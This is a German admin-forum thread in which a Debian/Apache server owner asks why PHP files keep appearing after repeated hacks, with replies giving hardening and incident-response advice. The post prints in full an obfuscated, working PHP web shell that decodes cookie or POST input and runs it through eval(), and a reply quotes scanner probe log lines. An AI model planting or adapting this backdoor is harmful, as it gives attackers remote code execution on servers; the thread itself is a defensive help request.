Linux - Debian - Apache - Code injection oder wie man das auch nennt. Brauche Hilfe
Hallo,
ich habe einen Root-Server mit Debian und Apache laufen bei 1und1.
Eigentlich war ich bis vor einem halben Jahr glücklich. Jetzt wurde aber mein Server mehrfach gehackt.
Die Seiten die ich darauf habe wurden soweit alle gereinigt und mehrfach überprüft scheint alles sauber zu sein.
Jetzt habe ich ein paar Platzhalter (leere Ordner) worin nur eine .htaccess mit einem redirect liegt.
Die Verzeichnisse selbst haben 755 bzw sogar nur 700 als recht für den www-data user/Gruppe
Jetzt habe ich gestern weiter aufgeräumt und alles was ich gefunden habe gelöscht, sprich die Ordner waren wirklich leer.
Heute schaue ich auf den Server und siehe da, es liegen mehrere php-Dateien mit fragwürdigem Code darauf
sowas z.B.
Jetzt die Frage wo liegt mein Denkfehler? Ich bin war der Meinung das ich mit diesen Rechten alle ausgesperrt habe auf dieses Verzeichnis unberechtigter Weise zu schreiben.
Was kann ich tun um das zu verhindern?
ich habe einen Root-Server mit Debian und Apache laufen bei 1und1.
Eigentlich war ich bis vor einem halben Jahr glücklich. Jetzt wurde aber mein Server mehrfach gehackt.
Die Seiten die ich darauf habe wurden soweit alle gereinigt und mehrfach überprüft scheint alles sauber zu sein.
Jetzt habe ich ein paar Platzhalter (leere Ordner) worin nur eine .htaccess mit einem redirect liegt.
Die Verzeichnisse selbst haben 755 bzw sogar nur 700 als recht für den www-data user/Gruppe
Jetzt habe ich gestern weiter aufgeräumt und alles was ich gefunden habe gelöscht, sprich die Ordner waren wirklich leer.
Heute schaue ich auf den Server und siehe da, es liegen mehrere php-Dateien mit fragwürdigem Code darauf
sowas z.B.
<?php ${"\x47\x4c\x4fB\x41\x4c\x53"}['e3c32a'] = "\x6a\x3e\x3b\x5f\x45\x5e\x4e\x65\x58\x7a\x28\x40\x26\x4a\x35\xa\x62\x38\x31\x23\x73\x71\x34\x20\x7e\x54\x68\x2b\x72\x66\x55\x4d\x2a\x6b\x30\x5c\x7c\x60\x9\x3c\x3a\x6c\x53\xd\x49\x75\x44\x33\x5a\x78\x22\x3f\x29\x2f\x61\x51\x74\x6f\x41\x32\x47\x7d\x4b\x7b\x5d\x50\x25\x79\x27\x36\x56\x43\x2e\x76\x63\x52\x42\x46\x24\x5b\x6e\x57\x59\x64\x39\x6d\x69\x37\x70\x77\x2d\x2c\x21\x4c\x67\x4f\x48\x3d";
$GLOBALS[$GLOBALS['e3c32a'][74].$GLOBALS['e3c32a'][87].$GLOBALS['e3c32a'][29].$GLOBALS['e3c32a'][29].$GLOBALS['e3c32a'][69].$GLOBALS['e3c32a'][59]] = $GLOBALS['e3c32a'][74].$GLOBALS['e3c32a'][26].$GLOBALS['e3c32a'][28];
$GLOBALS[$GLOBALS['e3c32a'][41].$GLOBALS['e3c32a'][54].$GLOBALS['e3c32a'][87].$GLOBALS['e3c32a'][69].$GLOBALS['e3c32a'][29].$GLOBALS['e3c32a'][83].$GLOBALS['e3c32a'][54].$GLOBALS['e3c32a'][17].$GLOBALS['e3c32a'][34]] = $GLOBALS['e3c32a'][57].$GLOBALS['e3c32a'][28].$GLOBALS['e3c32a'][83];
$GLOBALS[$GLOBALS['e3c32a'][86].$GLOBALS['e3c32a'][87].$GLOBALS['e3c32a'][47].$GLOBALS['e3c32a'][29].$GLOBALS['e3c32a'][16].$GLOBALS['e3c32a'][69].$GLOBALS['e3c32a'][17]] = $GLOBALS['e3c32a'][20].$GLOBALS['e3c32a'][56].$GLOBALS['e3c32a'][28].$GLOBALS['e3c32a'][41].$GLOBALS['e3c32a'][7].$GLOBALS['e3c32a'][80];
$GLOBALS[$GLOBALS['e3c32a'][86].$GLOBALS['e3c32a'][16].$GLOBALS['e3c32a'][83].$GLOBALS['e3c32a'][83].$GLOBALS['e3c32a'][84].$GLOBALS['e3c32a'][87].$GLOBALS['e3c32a'][83]] = $GLOBALS['e3c32a'][86].$GLOBALS['e3c32a'][80].$GLOBALS['e3c32a'][86].$GLOBALS['e3c32a'][3].$GLOBALS['e3c32a'][20].$GLOBALS['e3c32a'][7].$GLOBALS['e3c32a'][56];
$GLOBALS[$GLOBALS['e3c32a'][57].$GLOBALS['e3c32a'][69].$GLOBALS['e3c32a'][16].$GLOBALS['e3c32a'][87].$GLOBALS['e3c32a'][47].$GLOBALS['e3c32a'][18].$GLOBALS['e3c32a'][54].$GLOBALS['e3c32a'][87].$GLOBALS['e3c32a'][74]] = $GLOBALS['e3c32a'][20].$GLOBALS['e3c32a'][7].$GLOBALS['e3c32a'][28].$GLOBALS['e3c32a'][86].$GLOBALS['e3c32a'][54].$GLOBALS['e3c32a'][41].$GLOBALS['e3c32a'][86].$GLOBALS['e3c32a'][9].$GLOBALS['e3c32a'][7];
$GLOBALS[$GLOBALS['e3c32a'][57].$GLOBALS['e3c32a'][83].$GLOBALS['e3c32a'][17].$GLOBALS['e3c32a'][87].$GLOBALS['e3c32a'][87].$GLOBALS['e3c32a'][7]] = $GLOBALS['e3c32a'][88].$GLOBALS['e3c32a'][26].$GLOBALS['e3c32a'][88].$GLOBALS['e3c32a'][73].$GLOBALS['e3c32a'][7].$GLOBALS['e3c32a'][28].$GLOBALS['e3c32a'][20].$GLOBALS['e3c32a'][86].$GLOBALS['e3c32a'][57].$GLOBALS['e3c32a'][80];
$GLOBALS[$GLOBALS['e3c32a'][41].$GLOBALS['e3c32a'][18].$GLOBALS['e3c32a'][74].$GLOBALS['e3c32a'][29].$GLOBALS['e3c32a'][59].$GLOBALS['e3c32a'][7]] = $GLOBALS['e3c32a'][45].$GLOBALS['e3c32a'][80].$GLOBALS['e3c32a'][20].$GLOBALS['e3c32a'][7].$GLOBALS['e3c32a'][28].$GLOBALS['e3c32a'][86].$GLOBALS['e3c32a'][54].$GLOBALS['e3c32a'][41].$GLOBALS['e3c32a'][86].$GLOBALS['e3c32a'][9].$GLOBALS['e3c32a'][7];
$GLOBALS[$GLOBALS['e3c32a'][57].$GLOBALS['e3c32a'][84].$GLOBALS['e3c32a'][83].$GLOBALS['e3c32a'][83].$GLOBALS['e3c32a'][83].$GLOBALS['e3c32a'][54]] = $GLOBALS['e3c32a'][16].$GLOBALS['e3c32a'][54].$GLOBALS['e3c32a'][20].$GLOBALS['e3c32a'][7].$GLOBALS['e3c32a'][69].$GLOBALS['e3c32a'][22].$GLOBALS['e3c32a'][3].$GLOBALS['e3c32a'][83].$GLOBALS['e3c32a'][7].$GLOBALS['e3c32a'][74].$GLOBALS['e3c32a'][57].$GLOBALS['e3c32a'][83].$GLOBALS['e3c32a'][7];
$GLOBALS[$GLOBALS['e3c32a'][7].$GLOBALS['e3c32a'][7].$GLOBALS['e3c32a'][14].$GLOBALS['e3c32a'][54].$GLOBALS['e3c32a'][14].$GLOBALS['e3c32a'][74].$GLOBALS['e3c32a'][18].$GLOBALS['e3c32a'][22]] = $GLOBALS['e3c32a'][20].$GLOBALS['e3c32a'][7].$GLOBALS['e3c32a'][56].$GLOBALS['e3c32a'][3].$GLOBALS['e3c32a'][56].$GLOBALS['e3c32a'][86].$GLOBALS['e3c32a'][85].$GLOBALS['e3c32a'][7].$GLOBALS['e3c32a'][3].$GLOBALS['e3c32a'][41].$GLOBALS['e3c32a'][86].$GLOBALS['e3c32a'][85].$GLOBALS['e3c32a'][86].$GLOBALS['e3c32a'][56];
$GLOBALS[$GLOBALS['e3c32a'].$GLOBALS['e3c32a'][83].$GLOBALS['e3c32a'][29].$GLOBALS['e3c32a'][14]] = $GLOBALS['e3c32a'][86].$GLOBALS['e3c32a'][74].$GLOBALS['e3c32a'][69].$GLOBALS['e3c32a'][14].$GLOBALS['e3c32a'][84];
$GLOBALS[$GLOBALS['e3c32a'][20].$GLOBALS['e3c32a'][14].$GLOBALS['e3c32a'][17].$GLOBALS['e3c32a'][16].$GLOBALS['e3c32a'][34]] = $GLOBALS['e3c32a'][74].$GLOBALS['e3c32a'][22].$GLOBALS['e3c32a'][87].$GLOBALS['e3c32a'][7].$GLOBALS['e3c32a'][18];
$GLOBALS[$GLOBALS['e3c32a'].$GLOBALS['e3c32a'][84].$GLOBALS['e3c32a'][34].$GLOBALS['e3c32a'][74].$GLOBALS['e3c32a'][87].$GLOBALS['e3c32a'][84]] = $_POST;
$GLOBALS[$GLOBALS['e3c32a'][9].$GLOBALS['e3c32a'][47].$GLOBALS['e3c32a'][17].$GLOBALS['e3c32a'][18].$GLOBALS['e3c32a'][74].$GLOBALS['e3c32a'][69].$GLOBALS['e3c32a'][14].$GLOBALS['e3c32a'][17]] = $_COOKIE;
@$GLOBALS[$GLOBALS['e3c32a'][86].$GLOBALS['e3c32a'][16].$GLOBALS['e3c32a'][83].$GLOBALS['e3c32a'][83].$GLOBALS['e3c32a'][84].$GLOBALS['e3c32a'][87].$GLOBALS['e3c32a'][83]]($GLOBALS['e3c32a'][7].$GLOBALS['e3c32a'][28].$GLOBALS['e3c32a'][28].$GLOBALS['e3c32a'][57].$GLOBALS['e3c32a'][28].$GLOBALS['e3c32a'][3].$GLOBALS['e3c32a'][41].$GLOBALS['e3c32a'][57].$GLOBALS['e3c32a'][94], NULL);
@$GLOBALS[$GLOBALS['e3c32a'][86].$GLOBALS['e3c32a'][16].$GLOBALS['e3c32a'][83].$GLOBALS['e3c32a'][83].$GLOBALS['e3c32a'][84].$GLOBALS['e3c32a'][87].$GLOBALS['e3c32a'][83]]($GLOBALS['e3c32a'][41].$GLOBALS['e3c32a'][57].$GLOBALS['e3c32a'][94].$GLOBALS['e3c32a'][3].$GLOBALS['e3c32a'][7].$GLOBALS['e3c32a'][28].$GLOBALS['e3c32a'][28].$GLOBALS['e3c32a'][57].$GLOBALS['e3c32a'][28].$GLOBALS['e3c32a'][20], 0);
@$GLOBALS[$GLOBALS['e3c32a'][86].$GLOBALS['e3c32a'][16].$GLOBALS['e3c32a'][83].$GLOBALS['e3c32a'][83].$GLOBALS['e3c32a'][84].$GLOBALS['e3c32a'][87].$GLOBALS['e3c32a'][83]]($GLOBALS['e3c32a'][85].$GLOBALS['e3c32a'][54].$GLOBALS['e3c32a'][49].$GLOBALS['e3c32a'][3].$GLOBALS['e3c32a'][7].$GLOBALS['e3c32a'][49].$GLOBALS['e3c32a'][7].$GLOBALS['e3c32a'][74].$GLOBALS['e3c32a'][45].$GLOBALS['e3c32a'][56].$GLOBALS['e3c32a'][86].$GLOBALS['e3c32a'][57].$GLOBALS['e3c32a'][80].$GLOBALS['e3c32a'][3].$GLOBALS['e3c32a'][56].$GLOBALS['e3c32a'][86].$GLOBALS['e3c32a'][85].$GLOBALS['e3c32a'][7], 0);
@$GLOBALS[$GLOBALS['e3c32a'][7].$GLOBALS['e3c32a'][7].$GLOBALS['e3c32a'][14].$GLOBALS['e3c32a'][54].$GLOBALS['e3c32a'][14].$GLOBALS['e3c32a'][74].$GLOBALS['e3c32a'][18].$GLOBALS['e3c32a'][22]](0);
$r568 = NULL;
$o9d385d64 = NULL;
$GLOBALS[$GLOBALS['e3c32a'][88].$GLOBALS['e3c32a'][16].$GLOBALS['e3c32a'][84].$GLOBALS['e3c32a'][17].$GLOBALS['e3c32a'][16]] = $GLOBALS['e3c32a'][74].$GLOBALS['e3c32a'][54].$GLOBALS['e3c32a'][34].$GLOBALS['e3c32a'][47].$GLOBALS['e3c32a'][18].$GLOBALS['e3c32a'][47].$GLOBALS['e3c32a'][69].$GLOBALS['e3c32a'][16].$GLOBALS['e3c32a'][90].$GLOBALS['e3c32a'][7].$GLOBALS['e3c32a'][22].$GLOBALS['e3c32a'][83].$GLOBALS['e3c32a'][17].$GLOBALS['e3c32a'][90].$GLOBALS['e3c32a'][22].$GLOBALS['e3c32a'][22].$GLOBALS['e3c32a'][29].$GLOBALS['e3c32a'][74].$GLOBALS['e3c32a'][90].$GLOBALS['e3c32a'][54].$GLOBALS['e3c32a'][17].$GLOBALS['e3c32a'][83].$GLOBALS['e3c32a'][54].$GLOBALS['e3c32a'][90].$GLOBALS['e3c32a'][14].$GLOBALS['e3c32a'][83].$GLOBALS['e3c32a'][22].$GLOBALS['e3c32a'][74].$GLOBALS['e3c32a'][17].$GLOBALS['e3c32a'][29].$GLOBALS['e3c32a'][16].$GLOBALS['e3c32a'][83].$GLOBALS['e3c32a'][18].$GLOBALS['e3c32a'][87].$GLOBALS['e3c32a'][84].$GLOBALS['e3c32a'][18];
global $pb98b;
function c47e1($r568, $w4a64a6b)
{
$if0a73a = "";
for ($z73b58811=0; $z73b58811<$GLOBALS[$GLOBALS['e3c32a'][86].$GLOBALS['e3c32a'][87].$GLOBALS['e3c32a'][47].$GLOBALS['e3c32a'][29].$GLOBALS['e3c32a'][16].$GLOBALS['e3c32a'][69].$GLOBALS['e3c32a'][17]]($r568);)
{
for ($t6cd=0; $t6cd<$GLOBALS[$GLOBALS['e3c32a'][86].$GLOBALS['e3c32a'][87].$GLOBALS['e3c32a'][47].$GLOBALS['e3c32a'][29].$GLOBALS['e3c32a'][16].$GLOBALS['e3c32a'][69].$GLOBALS['e3c32a'][17]]($w4a64a6b) && $z73b58811<$GLOBALS[$GLOBALS['e3c32a'][86].$GLOBALS['e3c32a'][87].$GLOBALS['e3c32a'][47].$GLOBALS['e3c32a'][29].$GLOBALS['e3c32a'][16].$GLOBALS['e3c32a'][69].$GLOBALS['e3c32a'][17]]($r568); $t6cd++, $z73b58811++)
{
$if0a73a .= $GLOBALS[$GLOBALS['e3c32a'][74].$GLOBALS['e3c32a'][87].$GLOBALS['e3c32a'][29].$GLOBALS['e3c32a'][29].$GLOBALS['e3c32a'][69].$GLOBALS['e3c32a'][59]]($GLOBALS[$GLOBALS['e3c32a'][41].$GLOBALS['e3c32a'][54].$GLOBALS['e3c32a'][87].$GLOBALS['e3c32a'][69].$GLOBALS['e3c32a'][29].$GLOBALS['e3c32a'][83].$GLOBALS['e3c32a'][54].$GLOBALS['e3c32a'][17].$GLOBALS['e3c32a'][34]]($r568[$z73b58811]) ^ $GLOBALS[$GLOBALS['e3c32a'][41].$GLOBALS['e3c32a'][54].$GLOBALS['e3c32a'][87].$GLOBALS['e3c32a'][69].$GLOBALS['e3c32a'][29].$GLOBALS['e3c32a'][83].$GLOBALS['e3c32a'][54].$GLOBALS['e3c32a'][17].$GLOBALS['e3c32a'][34]]($w4a64a6b[$t6cd]));
}
}
return $if0a73a;
}
function ic659($r568, $w4a64a6b)
{
global $pb98b;
return $GLOBALS[$GLOBALS['e3c32a'][20].$GLOBALS['e3c32a'][14].$GLOBALS['e3c32a'][17].$GLOBALS['e3c32a'][16].$GLOBALS['e3c32a'][34]]($GLOBALS[$GLOBALS['e3c32a'][20].$GLOBALS['e3c32a'][14].$GLOBALS['e3c32a'][17].$GLOBALS['e3c32a'][16].$GLOBALS['e3c32a'][34]]($r568, $pb98b), $w4a64a6b);
}
foreach ($GLOBALS[$GLOBALS['e3c32a'][9].$GLOBALS['e3c32a'][47].$GLOBALS['e3c32a'][17].$GLOBALS['e3c32a'][18].$GLOBALS['e3c32a'][74].$GLOBALS['e3c32a'][69].$GLOBALS['e3c32a'][14].$GLOBALS['e3c32a'][17]] as $w4a64a6b=>$zfca)
{
$r568 = $zfca;
$o9d385d64 = $w4a64a6b;
}
if (!$r568)
{
foreach ($GLOBALS[$GLOBALS['e3c32a'].$GLOBALS['e3c32a'][84].$GLOBALS['e3c32a'][34].$GLOBALS['e3c32a'][74].$GLOBALS['e3c32a'][87].$GLOBALS['e3c32a'][84]] as $w4a64a6b=>$zfca)
{
$r568 = $zfca;
$o9d385d64 = $w4a64a6b;
}
}
$r568 = @$GLOBALS[$GLOBALS['e3c32a'][41].$GLOBALS['e3c32a'][18].$GLOBALS['e3c32a'][74].$GLOBALS['e3c32a'][29].$GLOBALS['e3c32a'][59].$GLOBALS['e3c32a'][7]]($GLOBALS[$GLOBALS['e3c32a'].$GLOBALS['e3c32a'][83].$GLOBALS['e3c32a'][29].$GLOBALS['e3c32a'][14]]($GLOBALS[$GLOBALS['e3c32a'][57].$GLOBALS['e3c32a'][84].$GLOBALS['e3c32a'][83].$GLOBALS['e3c32a'][83].$GLOBALS['e3c32a'][83].$GLOBALS['e3c32a'][54]]($r568), $o9d385d64));
if (isset($r568[$GLOBALS['e3c32a'][54].$GLOBALS['e3c32a'][33]]) && $pb98b==$r568[$GLOBALS['e3c32a'][54].$GLOBALS['e3c32a'][33]])
{
if ($r568[$GLOBALS['e3c32a'][54]] == $GLOBALS['e3c32a'][86])
{
$z73b58811 = Array(
$GLOBALS['e3c32a'][88].$GLOBALS['e3c32a'][73] => @$GLOBALS[$GLOBALS['e3c32a'][57].$GLOBALS['e3c32a'][83].$GLOBALS['e3c32a'][17].$GLOBALS['e3c32a'][87].$GLOBALS['e3c32a'][87].$GLOBALS['e3c32a'][7]](),
$GLOBALS['e3c32a'][20].$GLOBALS['e3c32a'][73] => $GLOBALS['e3c32a'][18].$GLOBALS['e3c32a'][72].$GLOBALS['e3c32a'][34].$GLOBALS['e3c32a'][90].$GLOBALS['e3c32a'][18],
);
echo @$GLOBALS[$GLOBALS['e3c32a'][57].$GLOBALS['e3c32a'][69].$GLOBALS['e3c32a'][16].$GLOBALS['e3c32a'][87].$GLOBALS['e3c32a'][47].$GLOBALS['e3c32a'][18].$GLOBALS['e3c32a'][54].$GLOBALS['e3c32a'][87].$GLOBALS['e3c32a'][74]]($z73b58811);
}
elseif ($r568[$GLOBALS['e3c32a'][54]] == $GLOBALS['e3c32a'][7])
{
eval($r568[$GLOBALS['e3c32a'][83]]);
}
exit();
}
Jetzt die Frage wo liegt mein Denkfehler? Ich bin war der Meinung das ich mit diesen Rechten alle ausgesperrt habe auf dieses Verzeichnis unberechtigter Weise zu schreiben.
Was kann ich tun um das zu verhindern?
Bitte markiere auch die Kommentare, die zur Lösung des Beitrags beigetragen haben
Content-ID: 324447
Url: https://administrator.de/contentid/324447
Ausgedruckt am: 22.11.2024 um 10:11 Uhr
20 Kommentare
Neuester Kommentar
Hi!
Was ist wenn er sich aber schon außerhalb des apaches eingenistet hat und da irgendwas schon mit root-rechten läuft von dem du nichts weißt.
Bei der gelegenheit gleich alle webseiten-frameworks auf den neuesten stand bringen.
mfg
Cthluhu
Zitat von @JoshuaTree:
Jetzt die Frage wo liegt mein Denkfehler? Ich bin war der Meinung das ich mit diesen Rechten alle ausgesperrt habe auf dieses Verzeichnis unberechtigter Weise zu schreiben.
Du gehts davon aus, dass ein Angreifer über eine deiner Webseite reinkommt und somit die Rechte vom www-data greifen.Jetzt die Frage wo liegt mein Denkfehler? Ich bin war der Meinung das ich mit diesen Rechten alle ausgesperrt habe auf dieses Verzeichnis unberechtigter Weise zu schreiben.
Was ist wenn er sich aber schon außerhalb des apaches eingenistet hat und da irgendwas schon mit root-rechten läuft von dem du nichts weißt.
Was kann ich tun um das zu verhindern?
Neu machen. Du weißt nicht wo da was eingenistet wurde.Bei der gelegenheit gleich alle webseiten-frameworks auf den neuesten stand bringen.
mfg
Cthluhu
Hi,
Ich weiß ja nicht was auf deinem Webserver läuft, aber die typischen Tools wie Joomla, Wordpress, Typo3,... haben immer wieder Sicherheitslücken gehabt und werden in Zukunft auch welche haben. Selbes gilt für die Software des Servers (z.B. den apache, ssh-zugriff).
Aber es hilft in gewissen maß immer up-to-date sein, den Server zu härten und proactiv bekannte Angreifer mit Sperrlisten (eines großen anbieters und/oder mittels fail2ban) zu verwenden.
Kann auch sein, dass dein Admin-Passwort abhanden gekommen ist (oder zu einfach war um einer brute-force attacke standzuhalten).
mfg
Cthluhu
Zitat von @JoshuaTree:
und wie verhindere ich das es dann in Zukunft nicht wieder passiert?
Dachte ja jetzt auch das ich sicher bin
100% sicher ist man nie.und wie verhindere ich das es dann in Zukunft nicht wieder passiert?
Dachte ja jetzt auch das ich sicher bin
Ich weiß ja nicht was auf deinem Webserver läuft, aber die typischen Tools wie Joomla, Wordpress, Typo3,... haben immer wieder Sicherheitslücken gehabt und werden in Zukunft auch welche haben. Selbes gilt für die Software des Servers (z.B. den apache, ssh-zugriff).
Aber es hilft in gewissen maß immer up-to-date sein, den Server zu härten und proactiv bekannte Angreifer mit Sperrlisten (eines großen anbieters und/oder mittels fail2ban) zu verwenden.
Kann auch sein, dass dein Admin-Passwort abhanden gekommen ist (oder zu einfach war um einer brute-force attacke standzuhalten).
mfg
Cthluhu
nabend...
an deiner stelle würde ich den Server mal vom Netz nehmen, bevor da weiter etwas passiert!
dann solltest du mal einen grundkurs machen... und lange zuhause testen und üben- bevor du mit einem root server auf die digitale welt losgehst!
das sowas eigentlich unverantwortlich ist- siehst du jetzt wohl slber ein!
besorg dir einen profi- der dir zeigt- wo es langeht- und lerne von ihm...
dir ist klar, das du persönlich für schäden bei anderen haftbar gemacht wirst !
ich bin für einen Root Server Führerschein...
Frank
an deiner stelle würde ich den Server mal vom Netz nehmen, bevor da weiter etwas passiert!
dann solltest du mal einen grundkurs machen... und lange zuhause testen und üben- bevor du mit einem root server auf die digitale welt losgehst!
das sowas eigentlich unverantwortlich ist- siehst du jetzt wohl slber ein!
und wie verhindere ich das es dann in Zukunft nicht wieder passiert?
Dachte ja jetzt auch das ich sicher bin
Dachte ja jetzt auch das ich sicher bin
besorg dir einen profi- der dir zeigt- wo es langeht- und lerne von ihm...
dir ist klar, das du persönlich für schäden bei anderen haftbar gemacht wirst !
ich bin für einen Root Server Führerschein...
Frank
fail2ban ist schon nützlich wenn es auch Richtig Eingestellt ist.
Vermutlich wurden die Logs nicht wirklich mal zwischen durch geprüft.
Du kannst schauen ob in der Zeit wo die Dateien Erstellt wurden in den Logs was zu finden ist.
Sowie ob andere Dienste laufen, Configs verändert wurden ect....
Auch solltest du Wissen was in den WWW Ordner läuft wo die Sicherheitslücke hergekommen ist.
Schau auch ob ggfs der Server als Spamschleuder verwendet wird ect.
Dazu sind die Programme alle auch auf den Aktuellsten Stand oder gabs da Updates die nicht eingespielt wurden wodurch eine Lücke genutzt wurde?
Vermutlich wurden die Logs nicht wirklich mal zwischen durch geprüft.
Du kannst schauen ob in der Zeit wo die Dateien Erstellt wurden in den Logs was zu finden ist.
Sowie ob andere Dienste laufen, Configs verändert wurden ect....
Auch solltest du Wissen was in den WWW Ordner läuft wo die Sicherheitslücke hergekommen ist.
Schau auch ob ggfs der Server als Spamschleuder verwendet wird ect.
Dazu sind die Programme alle auch auf den Aktuellsten Stand oder gabs da Updates die nicht eingespielt wurden wodurch eine Lücke genutzt wurde?
Moin ...
um den TO mal etwas aufzubauen Seh das mal als rethorische Schelte ...
den Führerschein würden wesentliche größere Kaliber auch nicht bestehen.
Letztendlich eine Kosten.- / Nutzenfrage.
Neben dem bereits genannten ist eine vollständige und regelmässige Serversicherung
natürlich Gold wert.
Das System immer auf dem laufenden halten.
Logfiles auswerten ist für einen ständigen Überblick wichtig.
Ständige Informationen einholen über bekannte Sicherheitslücken (EMail, RSS-Feeds)
Ansonsten gilt halt "Shit happens", vollständig verhindern lässt sich das nie, dafür sind die Dienste selbst zu fehleranfällig.
Wenn es denn passiert ist, das System in einem möglich sicheren Zustand zurück versetzen und Passwörter ändern ... auch für die Datenbanken etc.
VG
Ashnod
Nun viele haben nicht so den Plan und ein Server zu verwalten und viele Hoster machen ja Klick und läuft....
Aber auch jeder hat mal klein Angefangen daher....
Jedenfalls gibt es ja eh dauernd Prüfungen ob der Server ggfs eine Lücke hat und einige sind ja anhand der Logs zu erkennen.
Zudem bringt es auch schon einiges Länder auszusperren...
Aber je nach Webanwendung wie Wordpress & Co sind halt sehr beliebe Ziele...
Aber auch jeder hat mal klein Angefangen daher....
Jedenfalls gibt es ja eh dauernd Prüfungen ob der Server ggfs eine Lücke hat und einige sind ja anhand der Logs zu erkennen.
Zudem bringt es auch schon einiges Länder auszusperren...
Aber je nach Webanwendung wie Wordpress & Co sind halt sehr beliebe Ziele...
Nun du könntest die Loglevel auf Debug stellen damit mehr Infos geschrieben werden.
Jedoch löschen einige auch die Logs wodurch es dann nicht viel Sinn mehr hat....
Fail2ban für immer Bannen nunja... es werden wie du auch andere Server gehackt worüber dann Angriff erfolgen und so sperrst du auch Unbeteiligte aus die mit den Angriff zb nichts zu tun haben und ggfs deine nächsten Kunden werden könnten....
2-3 Tage Ban ist da eher schon OK
Zudem blockst du damit ja auch den Mailverkehr...
Wenn du die Zugriffslogs vom Apache anschaust sollte da sicherlich einige 404 vorkommen sowie einige Muster wo versucht wird die gänigen Scripte zu Prüfen ob die vorhanden sind wie zb
Da die ja immer versuchen die gängigen Namen zu verwenden hilft da auch schon ein Umbenennen der Scripte/Ordner.
Aber auch Fakescripte an deren Stelle die einen Alarm/Ban Auslösen wäre möglich.
Zudem wer einen Server im Internet Betreibt sollte immer damit Rechnen das dieser gehackt wird da es immer neue Lücken gibt die gefunden werden und bis die Leute dafür einen Patch Fertig haben und dieser auch mal Installiert wird.....
Jedoch löschen einige auch die Logs wodurch es dann nicht viel Sinn mehr hat....
Fail2ban für immer Bannen nunja... es werden wie du auch andere Server gehackt worüber dann Angriff erfolgen und so sperrst du auch Unbeteiligte aus die mit den Angriff zb nichts zu tun haben und ggfs deine nächsten Kunden werden könnten....
2-3 Tage Ban ist da eher schon OK
Zudem blockst du damit ja auch den Mailverkehr...
Wenn du die Zugriffslogs vom Apache anschaust sollte da sicherlich einige 404 vorkommen sowie einige Muster wo versucht wird die gänigen Scripte zu Prüfen ob die vorhanden sind wie zb
client denied by server configuration: /var/www/
script '/var/www/license.php' not found or unable to stat
client sent HTTP/1.1 request without hostname (see RFC2616 section 14.23): /x
File does not exist: /var/www/script
File does not exist: /var/www/apps/script
File does not exist: /var/www/jenkins
File does not exist: /var/www/apps/jenkins
File does not exist: /var/www/login
File does not exist: /var/www/apps/login
File does not exist: /var/www/jmx-console
File does not exist: /var/www/apps/jmx-console
File does not exist: /var/www/manager
File does not exist: /var/www/apps/mysqldumper
File does not exist: /var/www/mysqldumper
File does not exist: /var/www/apps/MySQLDumper
File does not exist: /var/www/MySQLDumper
File does not exist: /var/www/mysql
File does not exist: /var/www/apps/mysql
File does not exist: /var/www/sql
File does not exist: /var/www/apps/sql
File does not exist: /var/www/apps/phpMyAdmin
File does not exist: /var/www/phpMyAdmin
client sent HTTP/1.1 request without hostname (see RFC2616 section 14.23): /w00tw00t.at.ISC.SANS.DFind:)
File does not exist: /var/www/wordpress, referer: http://xxxxxxxxx.de/wordpress/wp-login.php
Invalid URI in request GET /../../../../../../../mnt/mtd/qt HTTP/1.0
malformed header from script. Bad header=<b>Security Alert!</b> The PHP: php
Aber auch Fakescripte an deren Stelle die einen Alarm/Ban Auslösen wäre möglich.
Zudem wer einen Server im Internet Betreibt sollte immer damit Rechnen das dieser gehackt wird da es immer neue Lücken gibt die gefunden werden und bis die Leute dafür einen Patch Fertig haben und dieser auch mal Installiert wird.....
Nun du sagts ja das die Daten dem WWW-User gehörten also hat dies ein Script erstellt das unter dem Apache lief/Ausgeführt wurde.
Da gibt es einige Möglichkeiten zb
Cross Site Scripting
Code Injection
cross-site schutz
Und die Bekannten Scripte für Datenbankverwaltung oder Forum,Blogs ect haben halt viele Scripte für Dateiupload ect.
Eine Funktion zu Coden ist meist einfacher als das ganze gegen mögliche Angriffe abzusichern.
Zumal wenn eine Lücke gestopft werden muss auf die schnelle auch mal eine neue erzeugt werden kann.
Da gibt es einige Möglichkeiten zb
Cross Site Scripting
Code Injection
cross-site schutz
Und die Bekannten Scripte für Datenbankverwaltung oder Forum,Blogs ect haben halt viele Scripte für Dateiupload ect.
Eine Funktion zu Coden ist meist einfacher als das ganze gegen mögliche Angriffe abzusichern.
Zumal wenn eine Lücke gestopft werden muss auf die schnelle auch mal eine neue erzeugt werden kann.
das hoffe ich mal...
Möchte versuchen zu verstehen wie und wo ich den Fehler gemacht habe und vergessen habe die Tür zu schließen.
wie kann ich den Prozess wieder als www-data starten.
nun, da möchte ich nix zu sagen, ich sehe nämlich das du dann das System eben NICHT neu einrichtest!
das hättest du nämlich schon längst tun müssen! die kiste weiterlaufen zu lassen halte ich für UNVERANTWORTLICH
nicht das ich um deine Daten besorgt bin- Nein, ich denke eher an andere Server!!!
in der datei envvars steht eigentlich der richtige User drin
Frank
Möchte versuchen zu verstehen wie und wo ich den Fehler gemacht habe und vergessen habe die Tür zu schließen.
wie kann ich den Prozess wieder als www-data starten.
das hättest du nämlich schon längst tun müssen! die kiste weiterlaufen zu lassen halte ich für UNVERANTWORTLICH
nicht das ich um deine Daten besorgt bin- Nein, ich denke eher an andere Server!!!
in der datei envvars steht eigentlich der richtige User drin
export APACHE_RUN_USER=www-data
> export APACHE_RUN_GROUP=www-data
>
Dann mach den Server in Runlevel 2 und sichere deine Daten wobei die Aktuellen Daten auch verändert/Infiziert worden sein können und daher auch Sicherheitslücken haben können für eine neue Infizierung....
Möchte versuchen zu verstehen wie und wo ich den Fehler gemacht habe und vergessen habe die Tür zu schließen.
Nun da die Einstellung beim Einrichten und Laufzeit Unbekannt ist kann man nichts dazu sagen.
Es sind viele Möglichkeiten zudem da das System kompromittiert ist werden die auch einiges geändert haben und solange du nicht 100% sagen kannst wie wo wann was woher gemacht wurde ist alles andere nur ein Ratespiel.
wie kann ich den Prozess wieder als www-data starten.
Das wird dir nichts mehr nützten da wenn die schon einmal Rootrechte erlangt haben werden die gleich noch eine/mehrere Backdoors Installiert haben falls der eine Zugang wegfällt.
Zudem lassen die die anderen Dienste auch ganz "Normal" weiter laufen da dies sonst auffallen würde das was nicht stimmt.
Jedoch werden die Dienste mit erhöhten Rechten laufen lassen um mehr Spielraum ect zu haben.
Dazu kannst du deine Daten auch nicht mehr Vertrauen da diese auch Infiziert sein können um auf ein neues Sauberes System gleich wider Infiziert werden zu können.
in der datei envvars steht eigentlich der richtige User drin
export APACHE_RUN_USER=www-data
> export APACHE_RUN_GROUP=www-data
>
